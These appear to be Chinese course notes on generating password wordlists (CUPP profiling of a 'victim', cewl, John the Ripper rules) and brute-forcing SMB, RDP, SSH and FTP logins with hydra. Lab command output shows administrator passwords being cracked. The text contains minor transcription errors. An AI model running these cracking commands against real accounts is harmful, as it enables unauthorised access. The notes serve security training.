【安全牛学习笔记】字典、在线密码破解-hydra
╋━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃字典 ┃
┃按个人信息生成其专属的密码字典 ┃
┃CUPP: Common User Password Profiler ┃
┃ - git clone https://github.com/Mebus/cupp.git ┃
┃ - python cup.py -i ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━╋
root@K:~# git clone https://github.com/Mebus/cupp.git
root@K:~# ls
cupp Documents Music Public Templates
Desktop Downloads Pictures read Videos
root@K:~# rm read
root@K:~# cd cupp/
root@K:~/cupp# ls
cupp.cfg cupp.py docs README.md
root@K:~/cupp# python cupp.py -i //交互的问答生成密码字典
[+] Insert the informations about the victim to make a dictionary
[+] If you don't know all the info ,just hit enter when asked! ;)
> First Name: aa
> Durnme: bb
> Nickname: cc
> Birthdate (DDMMYYYY): 20040216
> Parthers) name: dd
> Parthers) nickname: ee
> Parthers) birthdate (DDMMYYY): 20041900
> Child's name: ff
> Child's nickname: gg
> Child's birthdate (DDMMYYYY): 20042010
> Pet's name: tom
> Company name: alibaba
> Do you want to add some key words about the victim? Y/[N]:
> Do you wnat to add special chars at the end of word? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]: 123
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to aa.txt, counting 48430 words.
[+] Now load your pistolero with aa.txt and shoot! Good luck!
root@K:~/cupp# ls
aa.txt cupp.cfg cupp.py docs README.md
root@K:~/cupp# more aa.txt
╋━━━━━━━━━━━━━━━━━━━━╋
┃字典 ┃
┃通过手机网站信息生成字典 ┃
┃cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt┃
┃ - -m:最小单词长度 ┃
┃ - -d:爬网深度 ┃
┃ - -e:收集包含email地址信息 ┃
┃ - -c:每个单词出现次数 ┃
┃ - 支持基本、摘要 身份认证 ┃
┃ - 支持代理 ┃
╋━━━━━━━━━━━━━━━━━━━━╋
root@K:~# cewl www.baidu.com -m 3 -d 3 -e -c -v -w a.txt
root@K:~# cat a.txt | more
╋━━━━━━━━━━━━━━━━╋
┃字典 ┃
┃用户密码变型 ┃
┃ - 基于cewl的结果进行密码变型┃
┃ - 末尾增加数字串 ┃
┃ - 字母大小写变化 ┃
┃ - 字母与字符互相转换 ┃
┃ - 字母与数字互相转换 ┃
┃ - P@$$w0rd ┃
╋━━━━━━━━━━━━━━━━╋
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃字典 ┃
┃使用John the Ripper配置文件实现密码动态变型 ┃
┃/etc/john/john.conf ┃
┃ - [List.Rules:Wordlist] ┃
┃ - $[0-9]$[0-9]$[0-9] ┃
┃ - john --wordlist=cewl.txt --rules --stdout > m.txt ┃
┃ ┃
┃ - [List.Rules:test] ┃
┃ $[0-9]$[0-9]$[0-9]$[a-zA-Z] ┃
┃ $[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$['~@#$%^&*()-_=+] ┃
┃ - john --wordlist=cewl.txt --rules=test --stdout > m.txt ┃
┃ - john --wordlist=ahm.lst --rules=test HASHFILE ┃
root@K:~# gedit /etc/john/john.conf
root@K:~# ls
a.txt Documents Music Public Videos
Destop Downloads Pictures Templates
root@K:~# cat a.txt
root@K:~# cat a.txt | head -n 10
root@K:~# cat a.txt | head -n 10 | cut -d "," -f 1
root@K:~# cat a.txt | head -n 10 | cut -d "," -f 1 > p.lst
root@K:~# cat p.lst
root@K:~# john --wordlist=p.lst --rules --stdout > m.txt
root@K:~# cat m.txt | more
root@K:~# john --wordlist=p.lst --rules --stdout > m.txt
root@K:~# cat m.txt
root@K:~# wc -l m.txt
53564 m.txt
root@K:~# wc -l p.lst
10 p.lst
root@K:~# gedit /etc/john/john.conf
[List.Rules:test]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$['~@#$%^&*()-_=+]
root@K:~# john --wordlist=p.lst --rules=test --stdout > m.txt
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃在线密码破解-----hydra ┃
┃Hydra ┃
┃ - 九头龙，砍去一个头即长出新头，后为大力神赫拉克勒斯所杀┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
root@K:~# hydra -h
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]
Options:
-R restore a previous aborted/crashed session
-S perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-o FILE write found login/password pairs to FILE instead of stdout
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel (per host, default: 16)
-w / -W TIME waittime for responses (32s) / between connects per thread
-4 / -6 prefer IPv4 (default) or IPv6 addresses
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-q do not print messages about connection erros
-U service module usage details
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://www.thc.org/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: sapr3 afp ncp oracle.
Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
% export HYDRA_PROXY_HTTP=http://proxy:8080
% export HYDRA_PROXY_AUTH=user:pass
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃在线密码破解-----hydra ┃
┃Windows密码破解 ┃
┃ - hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd ┃
┃ - hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV ┃
┃Linux密码破解 ┃
┃ - hydra -l root -P pass.lst ssh://1.1.1.1 -vV ┃
┃其他服务密码破解 ┃
┃ - hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64 ┃
┃图形化界面 ┃
┃ - xhydra ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
【课外拓展一】SMB(Server Message Block)是协议名，它能被用于Wap连接和客户端与服务器之间的信息沟通。
【课外拓展二】远程桌面协议（RDP, Remote Desktop Protocol）是一个多通道（multi-channel）的协议，让用户（客户端或称“本地电脑”）连上提供微软终端机服务的电脑（服务器端或称“远程电脑”）。大部分的Windows都有客户端所需软件。其他操作系统也有这些客户端软件，例如Linux、FreeBSD、Mac OS X。服务端电脑方面，则听取送到TCP3389端口的数据。
【课外拓展三】SSH 为 Secure Shell 的缩写，由 IETF 的网络工作小组（Network Working Group）所制定；SSH 为建立在应用层和传输层基础上的安全协议。SSH 是目前较可靠，专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序，后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix，以及其他平台，都可运行SSH。
C:\Documents and Settings\Administrator>cd\
C:\>net user administrator *
请键入用户的密码: 1234
请在键入一次密码以便确认: 1234
命令成功完成。
C:\>net share
共享名 资源 注释
---------------------------------------------------------------------------
IPC$ 远程IPC
ADMIN$ C:\WINDOWS 远程管理
C$ C:\ 默认共享
命令成功完成。
root@K:~# nmap -p 192.168.1.118
Starting Nmap 7.12 (https://nmap.org) at 2016-04-20 21:50 CST
Nmap scan report for 192.168.1.118
Host is p (0.00043s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
3389/tcp open ms-wbt-server
MAC Address: 08-00:27:FA:A9:67 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 19.31 seconds
root@K:~# cp /usr/share/seclists/Passwords/john.txt .
root@K:~# grep 1234 john.txt
root@K:~# hydra -l administrator -P john.txt smb://192.168.1.118
Hydra v8.2 (c) 2014 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2016-04-20 21:53:.06
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 64 tasks, 3107 login tries (l:1/p:3107),
~48 tries per task
[DATA] attacking service smb on port 445
[445][smb] host: 192.168.1.118 login: adminostrator password:1234
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc/org/thc-hydra) finished at 2015-04-20 21-53-07
root@K:~# tail john.txt
root@K:~# wc 1 john.txt
3017 john.txt
C:\>net user administrator *
请键入用户的密码: zhongguo
请在键入一次密码以便确认: zhongguo
命令成功完成。
root@K:~# hydra -l administrator -P john.txt smb://192.168.1.118 -vV
root@K:~# hydra -l administrator -P john.txt rdp://192.168.1.118 -vV
root@K:~# hydra -l administrator -P john.txt rdp://192.168.1.118 -t 1 -vV //破解速度慢，正确率高
root@K:~# hydra -l root -P pass.lst ssh://192.168.1.113 -e nsr -vV //linux root账号破解，空密码
root@K:~# hydra -l root -P pass.lst ssh://192.168.1.113 -t 1 -e nsr -vV
root@K:~# nmap -p 192.168.1.113
Starting Nmap 7.12 (https://nmap.org) at 2016-04-20 21:50 CST
Nmap scan report for 192.168.1.113
Host is p (0.00043s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
2121/tcp open ccproxy-ftp
MAC Address: 08-00:27:B0:3A:76 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 19.31 seconds
root@K:~# nmap -p 192.168.1.113 -sV
Starting Nmap 7.12 (https://nmap.org) at 2016-04-20 21:50 CST
Nmap scan report for 192.168.1.113
Host is p (0.00043s latency).
Not shown: 65530 closed ports